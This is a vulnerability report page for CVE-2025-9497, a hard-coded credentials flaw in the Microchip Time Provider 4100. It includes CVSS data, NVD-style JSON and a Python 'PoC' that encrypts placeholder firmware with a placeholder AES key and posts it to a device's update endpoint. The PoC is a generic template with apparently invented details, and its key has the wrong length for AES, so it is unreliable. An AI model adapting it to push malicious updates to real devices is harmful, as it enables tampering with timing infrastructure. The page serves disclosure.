Security Vulnerability Report
中文
CVE-2025-9497 CVSS 9.8 CRITICAL

CVE-2025-9497

Published: 2026-03-28 11:16:35
Last Modified: 2026-04-01 14:16:26
Source: dc3f6da9-85b5-4a73-84a2-2ec90b40fca5

Description

Use of Hard-coded Credentials vulnerability in Microchip Time Provider 4100 allows Malicious Manual Software Update.This issue affects Time Provider 4100: before 2.5.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microchip Time Provider 4100 < 2.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2025-9497: Hard-coded Credentials in Microchip Time Provider 4100 # This script demonstrates how a malicious update could be crafted using the hardcoded key. import requests import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import pad # Hardcoded decryption key extracted from firmware (Example placeholder) HARDCODED_KEY = b'EXAMPLE_KEY_16BYTE' TARGET_IP = "192.168.1.100" UPDATE_ENDPOINT = "/api/system/update" def craft_malicious_update(payload): """Encrypt the payload using the hardcoded key""" cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) encrypted_payload = cipher.encrypt(pad(payload, AES.block_size)) return encrypted_payload def exploit(): # Shellcode or malicious firmware content malicious_content = b'MALICIOUS_FIRMWARE_CONTENT' print(f"[*] Crafting malicious update for {TARGET_IP}...") encrypted_update = craft_malicious_update(malicious_content) url = f"http://{TARGET_IP}{UPDATE_ENDPOINT}" files = {'firmware': ('update.bin', encrypted_update, 'application/octet-stream')} try: print(f"[*] Sending malicious update to {url}...") response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print("[+] Update accepted. The device may be executing malicious code.") else: print(f"[-] Update failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9497", "sourceIdentifier": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "published": "2026-03-28T11:16:35.337", "lastModified": "2026-04-01T14:16:25.980", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-coded Credentials vulnerability in Microchip Time Provider 4100 allows Malicious Manual Software Update.This issue affects Time Provider 4100: before 2.5.0."}, {"lang": "es", "value": "Vulnerabilidad de uso de credenciales codificadas en Microchip Time Provider 4100 permite una actualización de software manual maliciosa. Este problema afecta a Time Provider 4100: antes de 2.5.0."}], "metrics": {"cvssMetricV40": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://www.gruppotim.it/en/footer/TIM-red-team.html", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5"}, {"url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-hardcoded-upgrade-decryption-passwords", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5"}]}}